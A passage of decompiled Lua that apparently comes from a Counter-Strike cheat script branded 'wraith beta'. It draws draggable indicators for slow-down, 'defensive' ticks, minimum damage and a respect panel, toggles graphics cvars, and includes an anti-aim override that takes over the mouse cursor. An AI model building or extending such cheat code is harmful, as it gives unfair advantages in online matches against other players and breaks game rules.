                local v784 = render.measure_text(1, nil, l_level_0);
                local v785 = v781.x - v784.x * 0.5;
                local v786 = vector(v785 - 3, 57 + v780);
                local v787 = vector(v785 - 3 + v784.x + 5, 70 + v780);
                render.shadow(v786, v787, color(255, 255, 255, 255), 10, 0, 5);
                render.rect(v786, v787, color(20, 20, 20, 150), 3);
                render.text(1, vector(v785, 57 + v780), color(255, 255, 255, 255), nil, l_level_0);
                v411(v781, 5, 10, color(255, 255, 255, 255), 50, 1, 0);
            else
                v411(v781, 5, 10, color(255, 255, 255, 255), 50, 1, 0);
            end;
            v45_safe_texture_0(v47, vector(l_screen_size_3.x - v779.x - 70, 10 + v780), color(255, 255, 255, 255), nil);
            local v788 = vector(l_screen_size_3.x - v779.x - 23, 20 + v780);
            local v789 = vector(l_screen_size_3.x - v779.x - 23 + v779.x + 10, 40 + v780);
            render.shadow(v788, v789, color(255, 255, 255, 255), 15, 0, 1);
            render.rect(v788, v789, color(20, 20, 20, 150), 4);
            render.text(1, vector(l_screen_size_3.x - v779.x - 18, 23 + v780), color(255, 255, 255, 255), nil, v778);
            return;
        end;
    end, 
    custom_scope = function(v790, v791, v792, v793)
        -- upvalues: v122 (ref), v63 (ref), v155 (ref)
        if not v122.visuals.custom_scope.value then
            if v790.switch_back then
                v790.switch_back = false;
                v63.scope_overlay_ref:override("Remove Overlay");
            end;
            return;
        else
            v790.switch_back = true;
            local v794 = v791.m_bIsScoped and v122.visuals.custom_scope.size.value or 0;
            v790.anim_size_scope = v155(v790.anim_size_scope, v794, globals.frametime * 15);
            if v790.anim_size_scope <= 1 then
                v790.anim_size_scope = 0;
                return;
            else
                v63.scope_overlay_ref:override("Remove All");
                local v795 = math.ceil(v790.anim_size_scope);
                local l_value_13 = v122.visuals.custom_scope.color.value;
                local l_r_0 = l_value_13.r;
                local l_g_0 = l_value_13.g;
                local l_b_0 = l_value_13.b;
                local v800 = color(l_r_0, l_g_0, l_b_0, 0);
                render.gradient(vector(v792 - 10 - v795, v793), vector(v792 - 10, v793 + 1), v800, l_value_13, v800, l_value_13);
                render.gradient(vector(v792 + 10 + v795, v793), vector(v792 + 10, v793 + 1), v800, l_value_13, v800, l_value_13);
                render.gradient(vector(v792, v793 - 10), vector(v792 + 1, v793 - 10 - v795), l_value_13, l_value_13, v800, v800);
                render.gradient(vector(v792, v793 + 10), vector(v792 + 1, v793 + 10 + v795), l_value_13, l_value_13, v800, v800);
                return;
            end;
        end;
    end, 
    render_slow = function(v801, v802, _)
        -- upvalues: v122 (ref), v729 (ref), v155 (ref)
        if not v122.visuals.slow_indicator.value or not v802:is_alive() then
            return;
        else
            local v804 = v802.m_flVelocityModifier * 100;
            local v805 = v729.slow[1];
            local v806 = v729.slow[2];
            local l_value_14 = v122.visuals.slow_indicator.color.value;
            local l_r_1 = l_value_14.r;
            local l_g_1 = l_value_14.g;
            local l_b_1 = l_value_14.b;
            local l_a_0 = l_value_14.a;
            if v804 < 100 then
                v801.was_slow_alpha = l_a_0;
                v801.was_slow = true;
                local v812 = v804 * 98 / 100;
                render.text(1, vector(v805, v806 - 8), color(220, 220, 220, 240), "c", string.format("slowed %d%%", math.floor(100 - v804)));
                render.rect(vector(v805 - 50, v806), vector(v805 + 50, v806 + 4), color(12, 12, 12, 130), 0);
                render.rect(vector(v805 - 49, v806 + 1), vector(v805 - 49 + v812, v806 + 3), l_value_14, 0);
                render.shadow(vector(v805 - 50, v806), vector(v805 + 50, v806 + 4), l_value_14, 5, nil, 0);
            elseif v801.was_slow and v804 >= 100 then
                v801.was_slow_alpha = v155(v801.was_slow_alpha, 0, globals.frametime * 4);
                local v813 = v801.was_slow_alpha / 1.06;
                render.text(1, vector(v805, v806 - 8), color(220, 220, 220, v813), "c", "slowed 0%");
                render.rect(vector(v805 - 50, v806), vector(v805 + 50, v806 + 4), color(12, 12, 12, v813), 0);
                render.rect(vector(v805 - 49, v806 + 1), vector(v805 - 49 + 98, v806 + 3), color(l_r_1, l_g_1, l_b_1, v801.was_slow_alpha), 0);
                render.shadow(vector(v805 - 50, v806), vector(v805 + 50, v806 + 4), color(l_r_1, l_g_1, l_b_1, v801.was_slow_alpha), 5, nil, 0);
            end;
            return;
        end;
    end, 
    cvar_list = {
        ["3D sky"] = {
            value = 1, 
            cvar = cvar.r_3dsky
        }, 
        Fog = {
            value = 1, 
            cvars = {
                [1] = cvar.fog_enable, 
                [2] = cvar.fog_enable_water_fog
            }
        }, 
        Shadows = {
            value = 1, 
            cvars = {
                [1] = cvar.r_shadows, 
                [2] = cvar.cl_csm_static_prop_shadows, 
                [3] = cvar.cl_csm_shadows, 
                [4] = cvar.cl_csm_world_shadows, 
                [5] = cvar.cl_foot_contact_shadows, 
                [6] = cvar.cl_csm_viewmodel_shadows, 
                [7] = cvar.cl_csm_rope_shadows, 
                [8] = cvar.cl_csm_sprite_shadows, 
                [9] = cvar.cl_csm_translucent_shadows, 
                [10] = cvar.cl_csm_entity_shadows, 
                [11] = cvar.cl_csm_world_shadows_in_viewmodelcascade
            }
        }, 
        Blood = {
            value = 1, 
            cvar = cvar.violence_hblood
        }, 
        Decals = {
            value = 1, 
            cvars = {
                [1] = cvar.r_drawdecals, 
                [2] = cvar.r_drawropes, 
                [3] = cvar.r_drawsprites
            }
        }, 
        Bloom = {
            value = 0, 
            cvar = cvar.mat_disable_bloom
        }, 
        Ragdolls = {
            value = 1, 
            cvar = cvar.cl_ragdoll_physics_enable
        }, 
        ["Eye candy"] = {
            value = 1, 
            cvar = cvar.mat_postprocess_enable
        }, 
        ["Molotov fire"] = {
            value = 1, 
            cvar = cvar.r_drawparticles
        }, 
        Rain = {
            value = 1, 
            cvars = {
                [1] = cvar.r_drawrain
            }
        }, 
        Other = {
            value = 1, 
            cvars = {
                [1] = cvar.r_dynamic, 
                [2] = cvar.r_eyegloss, 
                [3] = cvar.r_eyes, 
                [4] = cvar.r_drawtracers_firstperson, 
                [5] = cvar.r_dynamiclighting, 
                [6] = cvar.func_break_max_pieces, 
                [7] = cvar.muzzleflash_light
            }
        }
    }, 
    apply_fps_optimizations = function(v814, v815)
        -- upvalues: v122 (ref), v78 (ref)
        local l_value_15 = v122.misc.fps_optimizations_toggle.value;
        local v817 = l_value_15 and v122.misc.fps_optimizations_toggle.options.value or {};
        if v815 then
            for _, v819 in pairs(v814.cvar_list) do
                if v819.cvar then
                    v819.cvar:int(1);
                elseif v819.cvars then
                    for _, v821 in ipairs(v819.cvars) do
                        v821:int(1);
                    end;
                end;
            end;
            return;
        elseif not l_value_15 or #v817 == 0 then
            if v78.fps_opt_ran then
                return;
            else
                for _, v823 in pairs(v814.cvar_list) do
                    if v823.cvar then
                        if v823.cvar:int() ~= v823.value then
                            v823.cvar:int(v823.value);
                        end;
                    elseif v823.cvars then
                        for _, v825 in ipairs(v823.cvars) do
                            if v825:int() ~= v823.value then
                                v825:int(v823.value);
                            end;
                        end;
                    end;
                end;
                v78.fps_opt_ran = true;
                return;
            end;
        else
            v78.fps_opt_ran = false;
            local v826 = {};
            for _, v828 in ipairs(v817) do
                v826[v828] = true;
            end;
            for v829, v830 in pairs(v814.cvar_list) do
                local v831 = v826[v829] == true;
                local v832 = v830.value == 1 and 0 or 1;
                local v833 = v831 and v832 or v830.value;
                if v830.cvar then
                    if v830.cvar:int() ~= v833 then
                        v830.cvar:int(v833);
                    end;
                elseif v830.cvars then
                    for _, v835 in ipairs(v830.cvars) do
                        if v835:int() ~= v833 then
                            v835:int(v833);
                        end;
                    end;
                end;
            end;
            return;
        end;
    end, 
    render_defensive = function(v836, v837, _)
        -- upvalues: v122 (ref), v729 (ref), v78 (ref), v155 (ref)
        if not v122.visuals.defensive_indicator.value then
            return;
        else
            local v839 = vector(v729.defensive[1], v729.defensive[2]);
            local v840 = color(12, 12, 12, v836.defensive_alpha or 130);
            local v841 = color(220, 220, 220, v836.defensive_alpha or 240);
            local l_value_16 = v122.visuals.defensive_indicator.color.value;
            local v843 = 98;
            if v78.defensive and v837:is_alive() then
                v836.defensive_alpha = v155(v836.defensive_alpha, l_value_16.a, globals.frametime * 50);
                v836.defensive_fill = v155(v836.defensive_fill, l_value_16.a, globals.frametime * 15);
                v836.bar_width = math.min((12 - (v78.defensive_ticks_left - 1)) / 12 * v843, v843);
            else
                v836.defensive_alpha = v155(v836.defensive_alpha, 0, globals.frametime * 2);
                v836.defensive_fill = v155(v836.defensive_fill, 0, globals.frametime * 6);
                v836.bar_width = math.max(v836.defensive_fill / l_value_16.a * v843, 0);
            end;
            render.text(1, v839 - vector(0, 10), v841, "c", "defensive");
            render.rect(v839 - vector(50, 0), v839 + vector(50, 4), v840, 0);
            if v836.bar_width > 0 then
                render.rect(v839 - vector(49, -1), v839 - vector(49 - math.floor(v836.bar_width), -3), color(l_value_16.r, l_value_16.g, l_value_16.b, v836.defensive_fill), 0);
                render.shadow(v839 - vector(50, 0), v839 + vector(50, 4), color(l_value_16.r, l_value_16.g, l_value_16.b, v836.defensive_fill), 5);
            end;
            return;
        end;
    end, 
    [1] = v122.anti_aim.aa_override:set(false), 
    override_circle = function(_, v845)
        -- upvalues: v122 (ref), v339 (ref), l_ffi_0 (ref), v40 (ref), v78 (ref), v411 (ref)
        if v122.anti_aim.stances[v339.current_state].yaw.value == "Disabled" then
            return;
        else
            local v846 = l_ffi_0.new("POINT[1]");
            if v40(v846) == 0 then
                return false, "Failed to get cursor position.";
            else
                cvar.cl_mouseenable:int(1);
                if v122.anti_aim.aa_override.value and v845:is_alive() and v78.ui_alpha <= 0 then
                    cvar.cl_mouseenable:int(0);
                end;
                if (v339.override_angle ~= false or v122.anti_aim.aa_override.value) and (v339.save_mouse_pos[1] ~= nil and v845:is_alive() or v122.anti_aim.aa_override.value and v339.override_angle == true and v845:is_alive()) then
                    if v122.anti_aim.aa_override.value and v339.override_angle == true and v845:is_alive() and v78.ui_alpha >= 0 then
                        local v847 = v846[0];
                        local v848 = v846[0];
                        local v849 = v339.save_mouse_pos[1];
                        v848.y = v339.save_mouse_pos[2];
                        v847.x = v849;
                    end;
                    if v78.ui_alpha <= 0 then
                        v411(v122.anti_aim.aa_override.value and vector(v846[0].x, v846[0].y) or vector(v339.save_mouse_pos[1], v339.save_mouse_pos[2]), 5, 10, v339.override_angle == true and v122.anti_aim.aa_override.color.value or v122.anti_aim.aa_override.color2.value, v122.anti_aim.aa_override.size.value, 1, 0);
                    end;
                end;
                return;
            end;
        end;
    end, 
    screen_percentage = function(_)
        -- upvalues: v78 (ref)
        local v851 = ui.get_mouse_position();
        local _ = v78.screen_size.y;
        local _ = 0;
        local l_y_3 = v78.screen_center.y;
        local v855 = 0;
        local v856 = 0;
        local v857 = 0;
        if v851.y < l_y_3 then
            v855 = v851.y / l_y_3 * 100;
            v857 = 100 - v855;
        elseif l_y_3 <= v851.y then
            v855 = math.floor(v78.screen_size.y / v851.y * 100 - 100);
            v856 = math.floor((v851.y - l_y_3) / (v78.screen_size.y - l_y_3) * 100);
        end;
        return v855, v856, v857;
    end, 
    draggable_defensive = function(v858)
        -- upvalues: v78 (ref), v122 (ref), v729 (ref), v423 (ref), v155 (ref)
        if v78.ui_alpha <= 0 then
            return;
        elseif not v122.visuals.defensive_indicator.value then
            return;
        else
            local v859 = v78.ui_alpha >= 0.01;
            local l_screen_size_4 = v78.screen_size;
            local v861 = ui.get_mouse_position();
            if not common.is_button_down(1) and v858.current_item == "defensive" then
                v858.dragged = false;
            end;
            if v858.dragged and common.is_button_down(1) and v858.current_item == "defensive" and v859 then
                v729.defensive[1] = v861.x - v858.drag_defensive_x;
                v729.defensive[2] = v861.y - v858.drag_defensive_y;
                local v862, v863, v864 = v858:screen_percentage();
                render.gradient(vector(l_screen_size_4.x * 0.5 - 1, 0), vector(l_screen_size_4.x * 0.5 + 1, l_screen_size_4.y * 0.5), color(255, 255, 255, v864 * 2.55), color(255, 255, 255, v864 * 2.55), color(255, 255, 255, v862 * 2.55), color(255, 255, 255, v862 * 2.55));
                render.gradient(vector(l_screen_size_4.x * 0.5 - 1, l_screen_size_4.y * 0.5), vector(l_screen_size_4.x * 0.5 + 1, l_screen_size_4.y * 0.5 + l_screen_size_4.y * 0.5), color(255, 255, 255, 2.55 * v862), color(255, 255, 255, 2.55 * v862), color(255, 255, 255, v863 * 2.55), color(255, 255, 255, v863 * 2.55));
                v858.shoot = false;
            end;
            if v423(v729.defensive[1] - 60, v729.defensive[2] - 25, 120, 40) and common.is_button_down(1) and not v858.dragged and v859 then
                v858.current_item = "defensive";
                v858.dragged = true;
                v858.drag_defensive_x = v861.x - v729.defensive[1];
                v858.drag_defensive_y = v861.y - v729.defensive[2];
            end;
            local v865 = v859 and math.min(v78.ui_alpha * 255, v122.visuals.defensive_indicator.color.value.a) or 0;
            local v866 = color(v122.visuals.defensive_indicator.color.value.r, v122.visuals.defensive_indicator.color.value.g, v122.visuals.defensive_indicator.color.value.b, v865);
            render.text(1, vector(v729.defensive[1], v729.defensive[2] - 10), color(255, 255, 255, v78.ui_alpha * 255), "c", "defensive");
            render.rect(vector(v729.defensive[1] - 50, v729.defensive[2]), vector(v729.defensive[1] + 50, v729.defensive[2] + 4), color(12, 12, 12, v865));
            render.rect(vector(v729.defensive[1] - 49, v729.defensive[2] + 1), vector(v729.defensive[1] + 49, v729.defensive[2] + 3), v866);
            render.shadow(vector(v729.defensive[1] - 50, v729.defensive[2]), vector(v729.defensive[1] + 50, v729.defensive[2] + 4), v866, 5, nil, 0);
            if v423(v729.defensive[1] - 60, v729.defensive[2] - 25, 120, 40) and v859 then
                v858.defensive_outline_alpha = v155(v858.defensive_outline_alpha, 255, globals.frametime * 1);
                v858.shoot = false;
                render.rect_outline(vector(v729.defensive[1] - 60, v729.defensive[2] - 24), vector(v729.defensive[1] + 60, v729.defensive[2] - 24 + 40), color(255, 255, 255, v858.defensive_outline_alpha), 1, 6);
            elseif v858.defensive_outline_alpha > 0 then
                v858.defensive_outline_alpha = v155(v858.defensive_outline_alpha, 0, globals.frametime * 1);
            end;
            if v729.defensive[1] + 60 >= l_screen_size_4.x * 0.5 - 5 and v729.defensive[1] - 60 <= l_screen_size_4.x * 0.5 + 5 and not v858.dragged then
                v729.defensive[1] = v155(v729.defensive[1], v78.screen_size.x * 0.5, globals.frametime * 10);
            end;
            return;
        end;
    end, 
    draggable_slow = function(v867)
        -- upvalues: v78 (ref), v427 (ref), v729 (ref), v122 (ref), v423 (ref), v155 (ref)
        if v78.ui_alpha <= 0 then
            return;
        else
            if v427(v729.slow[1] - 5, 160, v78.screen_size.x * 0.5 - 1, v78.screen_size.x * 0.5 + 1) then

            end;
            if not v122.visuals.slow_indicator.value then
                return;
            else
                local v868 = v78.ui_alpha >= 0.01;
                local l_screen_size_5 = v78.screen_size;
                local v870 = ui.get_mouse_position();
                if not common.is_button_down(1) and v867.current_item == "slow" then
                    v867.dragged = false;
                end;
                if v867.dragged and common.is_button_down(1) and v867.current_item == "slow" then
                    v729.slow[1] = v870.x - v867.drag_slow_x;
                    v729.slow[2] = v870.y - v867.drag_slow_y;
                    local v871, v872, v873 = v867:screen_percentage();
                    render.gradient(vector(l_screen_size_5.x * 0.5 - 1, 0), vector(l_screen_size_5.x * 0.5 + 1, l_screen_size_5.y * 0.5), color(255, 255, 255, v873 * 2.55), color(255, 255, 255, v873 * 2.55), color(255, 255, 255, v871 * 2.55), color(255, 255, 255, v871 * 2.55));
                    render.gradient(vector(l_screen_size_5.x * 0.5 - 1, l_screen_size_5.y * 0.5), vector(l_screen_size_5.x * 0.5 + 1, l_screen_size_5.y * 0.5 + l_screen_size_5.y * 0.5), color(255, 255, 255, 2.55 * v871), color(255, 255, 255, 2.55 * v871), color(255, 255, 255, v872 * 2.55), color(255, 255, 255, v872 * 2.55));
                    v867.shoot = false;
                end;
                if v423(v729.slow[1] - 60, v729.slow[2] - 25, 160, 40) and common.is_button_down(1) and not v867.dragged and v868 then
                    v867.current_item = "slow";
                    v867.dragged = true;
                    v867.drag_slow_x = v870.x - v729.slow[1];
                    v867.drag_slow_y = v870.y - v729.slow[2];
                end;
                local v874 = v868 and math.min(v78.ui_alpha * 255, v122.visuals.slow_indicator.color.value.a) or 0;
                local v875 = color(v122.visuals.slow_indicator.color.value.r, v122.visuals.slow_indicator.color.value.g, v122.visuals.slow_indicator.color.value.b, v874);
                render.text(1, vector(v729.slow[1], v729.slow[2] - 10), color(255, 255, 255, v78.ui_alpha * 255), "c", "slow");
                render.rect(vector(v729.slow[1] - 50, v729.slow[2]), vector(v729.slow[1] + 50, v729.slow[2] + 4), color(10, 10, 10, v874));
                render.rect(vector(v729.slow[1] - 49, v729.slow[2] + 1), vector(v729.slow[1] + 49, v729.slow[2] + 3), v875);
                render.shadow(vector(v729.slow[1] - 50, v729.slow[2] + 1), vector(v729.slow[1] + 50, v729.slow[2] + 4), v875, 5, nil, 1);
                if v423(v729.slow[1] - 60, v729.slow[2] - 25, 120, 40) and v868 then
                    v867.slow_outline_alpha = v155(v867.slow_outline_alpha, 255, globals.frametime * 1);
                    v867.shoot = false;
                    render.rect_outline(vector(v729.slow[1] - 60, v729.slow[2] - 24), vector(v729.slow[1] + 60, v729.slow[2] - 24 + 40), color(255, 255, 255, v867.slow_outline_alpha), 1, 6);
                elseif v867.slow_outline_alpha > 0 then
                    v867.slow_outline_alpha = v155(v867.slow_outline_alpha, 0, globals.frametime * 1);
                end;
                if v729.slow[1] + 80 >= l_screen_size_5.x * 0.5 - 5 and v729.slow[1] - 80 <= l_screen_size_5.x * 0.5 + 5 and not v867.dragged then
                    v729.slow[1] = v155(v729.slow[1], v78.screen_size.x * 0.5, globals.frametime * 10);
                end;
                return;
            end;
        end;
    end, 
    coler = color(255, 255, 255, 0), 
    draggable_min_dmg = function(v876)
        -- upvalues: v78 (ref), v122 (ref), v729 (ref), v423 (ref), v155 (ref), v63 (ref)
        if v78.ui_alpha <= 0 or not v122.visuals.min.value then
            return;
        else
            local l_screen_size_6 = v78.screen_size;
            local v878 = ui.get_mouse_position();
            if not common.is_button_down(1) and v876.current_item == "mini" then
                v876.dragged = false;
            end;
            if v876.dragged and common.is_button_down(1) and v876.current_item == "mini" then
                v729.mini[1] = v878.x - v876.drag_mini_x;
                v729.mini[2] = v878.y - v876.drag_mini_y;
                v876.shoot = false;
            end;
            if v423(v729.mini[1] - 10, v729.mini[2] - 15, 30, 30) and common.is_button_down(1) and not v876.dragged then
                v876.current_item = "mini";
                v876.dragged = true;
                v876.drag_mini_x = v878.x - v729.mini[1];
                v876.drag_mini_y = v878.y - v729.mini[2];
            end;
            if v729.mini[1] <= l_screen_size_6.x * 0.5 - 50 then
                v729.mini[1] = l_screen_size_6.x * 0.5 - 50;
            elseif v729.mini[1] >= l_screen_size_6.x * 0.5 + 50 then
                v729.mini[1] = l_screen_size_6.x * 0.5 + 50;
            end;
            if v729.mini[2] <= l_screen_size_6.y * 0.5 - 50 then
                v729.mini[2] = l_screen_size_6.y * 0.5 - 50;
            elseif v729.mini[2] >= l_screen_size_6.y * 0.5 + 50 then
                v729.mini[2] = l_screen_size_6.y * 0.5 + 50;
            end;
            if v423(l_screen_size_6.x * 0.5 - 50, l_screen_size_6.y * 0.5 - 50, 100, 100) then
                v876.shoot = false;
                v876.mini_outline_alpha = v155(v876.mini_outline_alpha, 255, globals.frametime * 10);
                v876.coler = color(255, 255, 255, v876.mini_outline_alpha);
            elseif not v423(l_screen_size_6.x * 0.5 - 50, l_screen_size_6.y * 0.5 - 50, 100, 100) and v876.dragged == true and v876.current_item == "mini" then
                v876.coler = color(255, 0, 0, v876.mini_outline_alpha);
            elseif not v423(l_screen_size_6.x * 0.5 - 50, l_screen_size_6.y * 0.5 - 50, 100, 100) and (not v876.dragged or v876.dragged == true and v876.current_item ~= "mini") and v876.mini_outline_alpha > 0 then
                v876.mini_outline_alpha = v155(v876.mini_outline_alpha, 0, globals.frametime * 5);
                v876.coler = color(v876.coler.r, v876.coler.g, v876.coler.b, v876.mini_outline_alpha);
            end;
            render.rect_outline(vector(l_screen_size_6.x * 0.5 - 50, l_screen_size_6.y * 0.5 - 50), vector(l_screen_size_6.x * 0.5 + 50, l_screen_size_6.y * 0.5 + 50), v876.coler, 1, 5);
            local v879 = v63.min_damage_ref:get();
            render.text(2, vector(v729.mini[1], v729.mini[2]), color(255, 255, 255, 255), "c", v879);
            return;
        end;
    end, 
    draggable_respect = function(v880)
        -- upvalues: v122 (ref), v78 (ref), v417 (ref), v731 (ref), v729 (ref), v423 (ref)
        if not v122.misc.respect_panel.value or not v78.respect_system.respect_ready_to_save then
            return;
        else
            local v881 = ui.get_mouse_position();
            local v882 = v78.respect_system or {};
            local v883 = v122.misc.respect_panel.items.value or {};
            local l_is_button_down_0 = common.is_button_down;
            local l_measure_text_0 = render.measure_text;
            local l_text_0 = render.text;
            local l_v417_0 = v417;
            local l_floor_0 = math.floor;
            local l_min_0 = math.min;
            local l_color_0 = color;
            local v891 = 20;
            local v892 = 20;
            local v893 = 14;
            local v894 = v731[v122.misc.respect_panel.titles_font.value] or v731.Default;
            local v895 = v731[v122.misc.respect_panel.values_font.value] or v731.Default;
            local l_value_17 = v122.misc.respect_panel.values_color.value;
            local l_value_18 = v122.misc.respect_panel.title_color.value;
            local l_value_19 = v122.misc.respect_panel.alignment.value;
            local l_value_20 = v122.misc.respect_panel.casing.value;
            local function v906(v900, v901)
                -- upvalues: l_min_0 (ref), l_floor_0 (ref), l_color_0 (ref)
                local v902 = l_min_0(v900 or 0, v901) / v901;
                local v903 = l_floor_0(255 * (1 - v902));
                local v904 = 255;
                local v905 = l_floor_0(255 * (1 - v902));
                return l_color_0(v903, v904, v905, 255);
            end;
            local v907 = {};
            local v908 = 0;
            local function v917(v909, v910, v911)
                -- upvalues: l_v417_0 (ref), l_value_20 (ref), v894 (ref), v895 (ref), l_measure_text_0 (ref), v908 (ref), v907 (ref)
                local v912 = l_v417_0(l_value_20, v909, v894);
                local v913 = l_v417_0(l_value_20, v910, v895);
                local l_x_1 = l_measure_text_0(v894, nil, v912).x;
                local l_x_2 = l_measure_text_0(v895, nil, v913).x;
                local v916 = l_x_1 + l_x_2;
                if v908 < v916 then
                    v908 = v916;
                end;
                v907[#v907 + 1] = {
                    title = v912, 
                    value = v913, 
                    color = v911, 
                    title_width = l_x_1, 
                    value_width = l_x_2
                };
            end;
            for _, v919 in ipairs(v883) do
                if v919 == "Total respect" then
                    v917("Total respect - ", tostring(v882.total_respect or 0), l_value_17);
                elseif v919 == "Level" then
                    v917("Level - ", tostring(v882.level or 0), l_value_17);
                elseif v919 == "Level respect" then
                    v917("Respect - ", string.format("(%d / %d)", v882.level_respect or 0, v882.respect_needed or 0), l_value_17);
                elseif v919 == "Needed respect" then
                    local v920 = (v882.respect_needed or 0) - (v882.level_respect or 0);
                    v917("Needed respect - ", tostring(v920), l_value_17);
                elseif v919 == "Spree" then
                    local v921 = v882.respect_spree_count or 0;
                    v917("Spree - ", tostring(v921), v906(v921, 30));
                elseif v919 == "Highest spree" then
                    local v922 = v882.respect_highest_spree or 0;
                    v917("Highest spree - ", tostring(v922), v906(v922, 30));
                end;
            end;
            if #v907 == 0 then
                return;
            else
                local v923 = #v907 * v893;
                local v924 = v908 + v891 * 2;
                local v925 = v923 + v892 * 2;
                local v926 = v729.respect[1];
                local v927 = v729.respect[2];
                local v928 = v926 - v924 / 2;
                local v929 = v927 - v925 / 2;
                if v78.ui_alpha > 0 then
                    local v930 = l_is_button_down_0(1);
                    if not v930 and v880.current_item == "respect" then
                        v880.dragged = false;
                    end;
                    if v880.dragged and v930 and v880.current_item == "respect" then
                        v729.respect[1] = v881.x - v880.drag_respect_x;
                        v729.respect[2] = v881.y - v880.drag_respect_y;
                        v880.shoot = false;
                    elseif v423(v928, v929, v924, v925) and not v880.dragged then
                        v880.shoot = false;
                        if v930 then
                            v880.current_item = "respect";
                            v880.dragged = true;
                            v880.drag_respect_x = v881.x - v729.respect[1];
                            v880.drag_respect_y = v881.y - v729.respect[2];
                        end;
                    end;
                end;
                local v931 = v928 + v924 / 2;
                local v932 = v929 + v892;
                for v933, v934 in ipairs(v907) do
                    local v935 = l_floor_0(v932 + v893 * (v933 - 1));
                    local v936 = v934.title_width + v934.value_width;
                    local v937 = nil;
                    if l_value_19 == "Center" then
                        v937 = v931 - v936 / 2;
                    else
                        v937 = v928 + v891;
                    end;
                    l_text_0(v894, vector(l_floor_0(v937), v935), l_value_18, nil, v934.title);
                    l_text_0(v895, vector(l_floor_0(v937 + v934.title_width), v935), v934.color, nil, v934.value);
                end;
                return;
            end;
        end;
    end, 
    darken_screen = function(v938)
        -- upvalues: v78 (ref), v155 (ref)
        if v78.ui_alpha <= 0 and v938.screen_color <= 1 then
            return;
        else
            v938.screen_color = v155(v938.screen_color, v938.dragged and 125 or 0, globals.frametime);
            render.rect(vector(0, 0), v78.screen_size, color(0, 0, 0, math.floor(v938.screen_color)));
            return;
        end;
    end, 
    math_breathe = function(_, v940, v941)
        return math.abs(math.sin(globals.realtime * (v941 or 1) % math.pi + (v940 or 0)));
    end, 
    init_animations = function(v942, v943, v944)
        -- upvalues: l_gradient_0 (ref)
        if not v942.wraith_anim then
            local l_r_2 = v943.r;
            local l_g_2 = v943.g;
            local l_b_2 = v943.b;
            v942.wraith_anim = l_gradient_0.text_animate("wraith beta", -1, {
                color(l_r_2 + 20, l_g_2 + 20, l_b_2 + 20, 255), 
                color(l_r_2 + 40, l_g_2 + 40, l_b_2 + 40, 255), 
                color(l_r_2 + 60, l_g_2 + 60, l_b_2 + 60, 125)
            });
        end;
        local v948 = 255 - 105 * v942:math_breathe(1, 1);
        if v942.moon_icon == nil then
            v942.moon_icon = ui.get_icon("moon-stars");
        end;
        local l_r_3 = v944.r;
        local l_g_3 = v944.g;
        local l_b_3 = v944.b;
        v942.wraith_icon_anim = l_gradient_0.text_animate(" " .. v942.moon_icon, -1, {
            color(l_r_3 + 60, l_g_3 + 60, l_b_3 + 60, v948)
        });
    end, 
    animate_logoz = function(v952)
        -- upvalues: v78 (ref), l_pui_0 (ref)
        if v78.ui_alpha > 0 then
            v952:init_animations(ui.get_style("Sidebar Text"), l_pui_0.accent);
            v952.wraith_anim:animate();
            v952.wraith_icon_anim:animate();
            ui.sidebar(v952.wraith_anim:get_animated_text(), v952.wraith_icon_anim:get_animated_text());
        end;
    end, 
    table_equals = function(_, v954, v955)
        if type(v955) ~= "table" then
            return false;
        elseif #v954 ~= #v955 then
            return false;
        else
            for v956, v957 in pairs(v954) do
                if v955[v956] ~= v957 then
                    return false;
                end;
            end;
            return true;
        end;
    end, 
    old_binds = {}, 
    get_binds = function(v958)
        -- upvalues: v78 (ref)
        local v959 = ui.get_binds() or {};
        if #v959 ~= #v958.old_binds then
            v78.binds = v959;
            v958.old_binds = v959;
        end;
    end, 
    collidable = function(v960)
        -- upvalues: v78 (ref), v729 (ref), l_ffi_0 (ref), v40 (ref), v730 (ref)
        local l_screen_size_7 = v78.screen_size;
        local v962 = {
            defensive = v729.defensive and {
                [1] = nil, 
                [2] = nil, 
                [3] = 80, 
                [4] = 20, 
                [1] = v729.defensive[1], 
                [2] = v729.defensive[2] - 3
            } or nil, 
            slow = v729.slow and {
                [1] = nil, 
                [2] = nil, 
                [3] = 80, 
                [4] = 20, 
                [1] = v729.slow[1], 
                [2] = v729.slow[2] - 3
            } or nil, 
            mini = {
                [1] = nil, 
                [2] = nil, 
                [3] = 50, 
                [4] = 50, 
                [1] = l_screen_size_7.x / 2, 
                [2] = l_screen_size_7.y / 2
            }, 
            respect = v729.respect and {
                [1] = nil, 
                [2] = nil, 
                [3] = 80, 
                [4] = 20, 
                [1] = v729.respect[1], 
                [2] = v729.respect[2] - 3
            } or nil
        };
        local v963 = l_ffi_0.new("POINT[1]");
        if v40(v963) == 0 then
            return false, "Failed to get cursor position.";
        else
            local v964 = false;
            local v965 = v729[v960.current_item][1];
            local v966 = v729[v960.current_item][2];
            for v967, v968 in pairs(v962) do
                if v968 ~= nil and v960.current_item ~= v967 and v960.current_item ~= nil and v729[v960.current_item] and v962[v960.current_item] and v962[v960.current_item][1] + v962[v960.current_item][3] >= v968[1] - v968[3] and v962[v960.current_item][1] - v962[v960.current_item][3] <= v968[1] + v968[3] and v962[v960.current_item][2] + v962[v960.current_item][4] >= v968[2] - v968[4] and v962[v960.current_item][2] - v962[v960.current_item][4] <= v968[2] + v968[4] then
                    if not common.is_button_down(1) then
                        v964 = true;
                        v960.collision_item = v960.current_item;
                    else
                        v730[v960.current_item].x = v729[v960.current_item][1];
                        v730[v960.current_item].y = v729[v960.current_item][2];
                        v960.collision_detected = true;
                    end;
                end;
            end;
            if v964 and v960.collision_item then
                lerp_back_to_closest_position(v960, v960.collision_item, v960.current_item, v965, v966);
                v960.dragged = false;
                v960.collision_detected = false;
                v960.collision_item = nil;
                v964 = false;
            end;
            if not v960.collision_detected and not common.is_button_down(1) then
                update_last_valid_position(v960, v960.current_item);
            end;
            return;
        end;
    end
};
local _ = common.get_game_directory();
local function v975(v971, v972)
    for _, v974 in pairs(v971) do
        if v974 == v972 then
            return true;
        end;
    end;
    return false;
end;
local function v978(v976, v977)
    if v976 then
        return 10;
    elseif string.find(v977, "knife") or string.find(v977, "bayonet") or v977 == "taser" then
        return 20;
    else
        return 5;
    end;
end;
local function v985(v979, v980)
    -- upvalues: v978 (ref), v78 (ref), v122 (ref), v1 (ref)
    local v981 = v978(v979, v980) * v78.respect_system.respect_spree_multiplier;
    v78.respect_system.level_respect = math.floor(v78.respect_system.level_respect + v981);
    v78.respect_system.total_respect = math.floor(v78.respect_system.total_respect + v981);
    if v78.respect_system.level_respect >= v78.respect_system.respect_needed then
        if v78.respect_system.level_respect > v78.respect_system.respect_needed then
